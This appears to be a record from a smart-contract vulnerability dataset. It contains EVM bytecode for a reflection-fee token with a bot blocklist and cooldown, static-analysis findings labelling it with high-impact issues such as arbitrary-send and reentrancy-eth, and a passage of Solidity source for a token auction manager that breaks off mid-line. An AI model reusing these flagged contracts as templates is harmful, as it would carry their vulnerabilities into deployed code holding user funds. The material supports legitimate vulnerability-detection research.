000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156112f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061138230601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000611a63565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156113c857600080fd5b505afa1580156113dc573d6000803e3d6000fd5b505050506040513d60208110156113f257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146557600080fd5b505afa158015611479573d6000803e3d6000fd5b505050506040513d602081101561148f57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561150957600080fd5b505af115801561151d573d6000803e3d6000fd5b505050506040513d602081101561153357600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306115cd30610ce8565b6000806115d8610f59565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561165d57600080fd5b505af1158015611671573d6000803e3d6000fd5b50505050506040513d606081101561168857600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff02191690831515021790555068056bc75e2d631000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117e657600080fd5b505af11580156117fa573d6000803e3d6000fd5b505050506040513d602081101561181057600080fd5b81019080805190602001909291905050505050565b61182d611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61199260646119848368056bc75e2d631000006129ae90919063ffffffff16565b612a3490919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f896024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ed06022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f646025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e836023913960400191505060405180910390fd5b60008111611dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f3b6029913960400191505060405180910390fd5b611dc7610f59565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e355750611e05610f59565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123c257601360179054906101000a900460ff161561209b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611eb757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f115750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f6b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561209a57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb1611a5b565b73ffffffffffffffffffffffffffffffffffffffff1614806120275750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661200f611a5b565b73ffffffffffffffffffffffffffffffffffffffff16145b612099576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b6014548111156120aa57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561214e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61215757600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122025750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122585750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122705750601360179054906101000a900460ff165b156123085742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106122c057600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061231330610ce8565b9050601360159054906101000a900460ff161580156123805750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156123985750601360169054906101000a900460ff165b156123c0576123a6816126c4565b600047905060008111156123be576123bd47612545565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124695750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561247357600090505b61247f84848484612a7e565b50505050565b6000838311158290612532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124f75780820151818401526020810190506124dc565b50505050905090810190601f1680156125245780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612595600284612a3490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125c0573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612611600284612a3490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561263c573d6000803e3d6000fd5b5050565b6000600a5482111561269d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ea6602a913960400191505060405180910390fd5b60006126a7612cd5565b90506126bc8184612a3490919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126f957600080fd5b506040519080825280602002602001820160405280156127285781602001602082028036833780820191505090505b509050308160008151811061273957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127db57600080fd5b505afa1580156127ef573d6000803e3d6000fd5b505050506040513d602081101561280557600080fd5b81019080805190602001909291905050508160018151811061282357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061288a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a63565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561294e578082015181840152602081019050612933565b505050509050019650505050505050600060405180830381600087803b15801561297757600080fd5b505af115801561298b573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129c15760009050612a2e565b60008284029050828482816129d257fe5b0414612a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ef26021913960400191505060405180910390fd5b809150505b92915050565b6000612a7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d00565b905092915050565b80612a8c57612a8b612dc6565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b2f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b4457612b3f848484612e09565b612cc1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612be75750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bfc57612bf7848484613069565b612cc0565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c9e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612cb357612cae8484846132c9565b612cbf565b612cbe8484846135be565b5b5b5b80612ccf57612cce613789565b5b50505050565b6000806000612ce261379d565b91509150612cf98183612a3490919063ffffffff16565b9250505090565b60008083118290612dac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d71578082015181840152602081019050612d56565b50505050905090810190601f168015612d9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612db857fe5b049050809150509392505050565b6000600c54148015612dda57506000600d54145b15612de457612e07565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612e1b87613a4a565b955095509550955095509550612e7987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f0e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fa385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fef81613b84565b612ff98483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061307b87613a4a565b9550955095509550955095506130d986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061316e83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324f81613b84565b6132598483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132db87613a4a565b95509550955095509550955061333987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061346383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354481613b84565b61354e8483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135d087613a4a565b95509550955095509550955061362e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136c385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061370f81613b84565b6137198483613d29565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a549050600068056bc75e2d63100000905060005b6009805490508110156139ff578260026000600984815481106137d757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806138be575081600360006009848154811061385657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138dc57600a5468056bc75e2d6310000094509450505050613a46565b61396560026000600984815481106138f057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613ab290919063ffffffff16565b92506139f0600360006009848154811061397b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613ab290919063ffffffff16565b915080806001019150506137b8565b50613a1e68056bc75e2d63100000600a54612a3490919063ffffffff16565b821015613a3d57600a5468056bc75e2d63100000935093505050613a46565b81819350935050505b9091565b6000806000806000806000806000613a678a600c54600d54613d63565b9250925092506000613a77612cd5565b90506000806000613a8a8e878787613df9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613af483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612485565b905092915050565b600080828401905083811015613b7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b8e612cd5565b90506000613ba582846129ae90919063ffffffff16565b9050613bf981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613d2457613ce083600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613afc90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d3e82600a54613ab290919063ffffffff16565b600a81905550613d5981600b54613afc90919063ffffffff16565b600b819055505050565b600080600080613d8f6064613d81888a6129ae90919063ffffffff16565b612a3490919063ffffffff16565b90506000613db96064613dab888b6129ae90919063ffffffff16565b612a3490919063ffffffff16565b90506000613de282613dd4858c613ab290919063ffffffff16565b613ab290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613e1285896129ae90919063ffffffff16565b90506000613e2986896129ae90919063ffffffff16565b90506000613e4087896129ae90919063ffffffff16565b90506000613e6982613e5b8587613ab290919063ffffffff16565b613ab290919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f52139261175b701f65e6deccb6074be02050fb9fe797f35204a5eaa25a4304964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,333
0x07169a87e4459ac55ec53e6ec9723799a2ea5638
/** *Submitted for verification at Etherscan.io on 2021-04-23 */ pragma solidity 0.6.6; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IToken { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function intervalLength() external returns (uint256); function owner() external view returns (address); function burn(uint256 _amount) external; function renounceMinter() external; function mint(address account, uint256 amount) external returns (bool); function lock( address recipient, uint256 amount, uint256 blocks, bool deposit ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transfer(address to, uint256 amount) external returns (bool success); } interface IDutchAuction { function auctionEnded() external view returns (bool); function finaliseAuction() external; } interface IDutchSwapFactory { function deployDutchAuction( address _token, uint256 _tokenSupply, uint256 _startDate, uint256 _endDate, address _paymentCurrency, uint256 _startPrice, uint256 _minimumPrice, address _wallet ) external returns (address dutchAuction); } interface IPriceOracle { function consult(uint256 amountIn) external view returns (uint256 amountOut); function update() external; } contract AuctionManager { using SafeMath for uint256; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // used as factor when dealing with % uint256 constant ACCURACY = 1e4; // when 95% at market price, start selling uint256 public sellThreshold; // cap auctions at certain amount of $TRDL minted uint256 public dilutionBound; // stop selling when volume small // uint256 public dustThreshold; set at dilutionBound / 52 // % start_price above estimate, and % min_price below estimate uint256 public priceSpan; // auction duration uint256 public auctionDuration; IToken private strudel; IToken private vBtc; IToken private gStrudel; IPriceOracle private btcPriceOracle; IPriceOracle private vBtcPriceOracle; IPriceOracle private strudelPriceOracle; IDutchSwapFactory private auctionFactory; IDutchAuction public currentAuction; mapping(address => uint256) public lockTimeForAuction; constructor( address _strudelAddr, address _gStrudel, address _vBtcAddr, address _btcPriceOracle, address _vBtcPriceOracle, address _strudelPriceOracle, address _auctionFactory ) public { strudel = IToken(_strudelAddr); gStrudel = IToken(_gStrudel); vBtc = IToken(_vBtcAddr); btcPriceOracle = IPriceOracle(_btcPriceOracle); vBtcPriceOracle = IPriceOracle(_vBtcPriceOracle); strudelPriceOracle = IPriceOracle(_strudelPriceOracle); auctionFactory = IDutchSwapFactory(_auctionFactory); sellThreshold = 9500; // vBTC @ 95% of BTC price or above dilutionBound = 70; // 0.7% of $TRDL total supply priceSpan = 2500; // 25% auctionDuration = 84600; // ~23,5h } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function _getDiff(uint256 a, uint256 b) internal pure returns (uint256) { if (a > b) { return a - b; } return b - a; } function decimals() public view returns (uint8) { return gStrudel.decimals(); } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return gStrudel.totalSupply(); } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return gStrudel.balanceOf(account); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(strudel.owner() == msg.sender, "Ownable: caller is not the owner"); _; } function updateOracles() public { try btcPriceOracle.update() { // do nothing } catch Error(string memory) { // do nothing } catch (bytes memory) { // do nothing } try vBtcPriceOracle.update() { // do nothing } catch Error(string memory) { // do nothing } catch (bytes memory) { // do nothing } try strudelPriceOracle.update() { // do nothing } catch Error(string memory) { // do nothing } catch (bytes memory) { // do nothing } } function rotateAuctions() external { if (address(currentAuction) != address(0)) { require(currentAuction.auctionEnded(), "previous auction hasn't ended"); try currentAuction.finaliseAuction() { // do nothing } catch Error(string memory) { // do nothing } catch (bytes memory) { // do nothing } uint256 studelReserves = strudel.balanceOf(address(this)); if (studelReserves > 0) { strudel.burn(studelReserves); } } updateOracles(); // get prices uint256 btcPriceInEth = btcPriceOracle.consult(1e18); uint256 vBtcPriceInEth = vBtcPriceOracle.consult(1e18); uint256 strudelPriceInEth = strudelPriceOracle.consult(1e18); // measure outstanding supply uint256 vBtcOutstandingSupply = vBtc.totalSupply(); uint256 strudelSupply = strudel.totalSupply(); uint256 vBtcAmount = vBtc.balanceOf(address(this)); vBtcOutstandingSupply -= vBtcAmount; // calculate vBTC supply imbalance in ETH uint256 imbalance = _getDiff(btcPriceInEth, vBtcPriceInEth).mul(vBtcOutstandingSupply); uint256 cap = strudelSupply.mul(dilutionBound).mul(strudelPriceInEth).div(ACCURACY); // cap by dillution bound imbalance = min( cap, imbalance ); // pause if imbalance below dust threshold if (imbalance.div(strudelPriceInEth) < strudelSupply.mul(dilutionBound).div(52).div(ACCURACY)) { // pause auctions currentAuction = IDutchAuction(address(0)); return; } // determine what kind of auction we want uint256 priceRelation = btcPriceInEth.mul(ACCURACY).div(vBtcPriceInEth); if (priceRelation < ACCURACY.mul(ACCURACY).div(sellThreshold)) { // cap vBtcAmount by imbalance in vBTC vBtcAmount = min(vBtcAmount, imbalance.div(vBtcPriceInEth)); // calculate vBTC price imbalance = vBtcPriceInEth.mul(1e18).div(strudelPriceInEth); // auction off some vBTC vBtc.approve(address(auctionFactory), vBtcAmount); currentAuction = IDutchAuction( auctionFactory.deployDutchAuction( address(vBtc), vBtcAmount, now, now + auctionDuration, address(strudel), imbalance.mul(ACCURACY.add(priceSpan)).div(ACCURACY), // startPrice imbalance.mul(ACCURACY.sub(priceSpan)).div(ACCURACY), // minPrice address(this) ) ); } else { // calculate price in vBTC vBtcAmount = 